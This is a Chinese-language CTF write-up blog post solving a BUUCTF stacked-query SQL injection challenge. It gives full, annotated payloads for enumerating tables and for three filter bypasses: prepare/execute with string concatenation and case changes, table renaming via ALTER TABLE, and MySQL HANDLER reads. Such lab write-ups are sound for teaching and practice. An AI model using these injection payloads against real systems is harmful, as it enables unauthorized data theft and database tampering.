Web_BUUCTF_WriteUp | [强网杯 2019]随便注

题目

分析

把 1 提交上去,得到回显如下:


输入框可输入的内容不止数字,尝试用 ' " ') ") 闭合,探测发现输入 1' and 1=1;#1' and 1=2;# 的回显不同,判断为单引号闭合。

  • 1' and 1=1;#

  • 1' and 1=2;#

尝试查看当前所有数据库 1';show databases;#


成功了,接着看看当前所有表 1';show tables;#

分别查看两个表的内容。

  • 1';show columns from `1919810931114514`;#

  • 1';show columns from words;#

在一串数字的表中出现可疑字段 flag,同时 words 表中的内容包含 id 部分和 data 部分,大概率就是正常提交数据查询到的结果。尝试查看字段值 1';select * from `1919810931114514`;# 发现存在过滤:


尝试一些常用绕过方法均失败。从[BUUOJ记录] [强网杯 2019]随便注(三种方法)-Ye'sBlog-博客园大佬的博客学到三种绕过 select 的方法。


1、存储过程绕过(利用 prepare 语句),即预编译绕过
2、重命名绕过(利用 alter 语句与 rename 语句)
3、handler 语句代替 select 查询


1、预编译绕过
传入 1';set @a=concat('se','lect * from `1919810931114514`;');prepare flag from @a;execute flag;#,其中:

1';
// 用来闭合前面的单引号

set @a=concat('se','lect * from `1919810931114514`;');
// concat函数将多个字符串组合成一个字符串,得到select * from `1919810931114514`;
// @a定义了一个用户变量a
// set函数让a接收concat拼接的结果select * from `1919810931114514`;

prepare flag from @a;
// 将a的字符串作为代码进行预编译

execute flag;
// 执行之前预编译的代码

#
// 将源码之后的部分注释掉

得到回显:


这里出现的 strstr 函数在 PHP 中是个查找子字符串的函数,猜测这里是在传入的字符串中找到 setprepare 俩串给咱返回了,即被过滤了。因为 strstr() 是区分大小写的所以咱可以通过改变字母大小写的方法绕过:


传入 1';SET @a=concat('se','lect * from 1919810931114514;');PREPARE flag from @a;execute flag;# 得到 flag。

虽然但是测试了一下发现只需要更改两串其一即可成功绕过。


2、重命名绕过
传入 1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#,其中

1';
// 用来闭合前面的单引号

alter table words rename to words1;
// alter 命令用于更改数据库结构,rename将表words的名字更改为words1

alter table `1919810931114514` rename to words;
// 将表1919810931114514的名字更改为words

alter table words change flag id varchar(100);
// 将表words中的字段名flag更改为id,数据类型为varchar(100)。varchar是可变长度字符串,数据100来自于之前查询到 flag 的长度

#
// 将源码之后的部分注释掉

回显:


此时输入框传入的参数由在 words 表中查询 id 值更改为在 1919810931114514 表中查询 flag 值。显然我们不可能传入 flag 进行查询,因此传入永真式 1' or 1=1#,得到回显:


3、handler 语句代替 select 查询
handler 是 MySQL 专用的语句,可代替 select 语句实现部分功能,具体可参考【MySQL】MySQL 之 handler 的详细使用及说明-边扯边淡-CSDN


传入 1';handler `1919810931114514` open as ye;handler ye read first;handler ye close;#,其中:

1';
// 用来闭合前面的单引号

handler `1919810931114514` open as ye;
// 打开表1919810931114514的句柄并命名为ye

handler ye read first;
// 索引ye第一行数据

handler ye close;
//关闭句柄ye

得到 flag。

参考

史上超强最常用SQL语句大全-小小张自由—>张有博-CSDN
[BUUOJ记录] [强网杯 2019]随便注(三种方法)-Ye'sBlog-博客园
PHP strstr() 函数
Mysql中符号@的作用-LC超人在良家-CSDN
Mysql修改、添加、删除字段-五公子说-博客园
【MySQL】MySQL 之 handler 的详细使用及说明-边扯边淡-CSDN

posted @ 2024-07-12 01:29  Guanz  阅读(3)  评论(0编辑  收藏  举报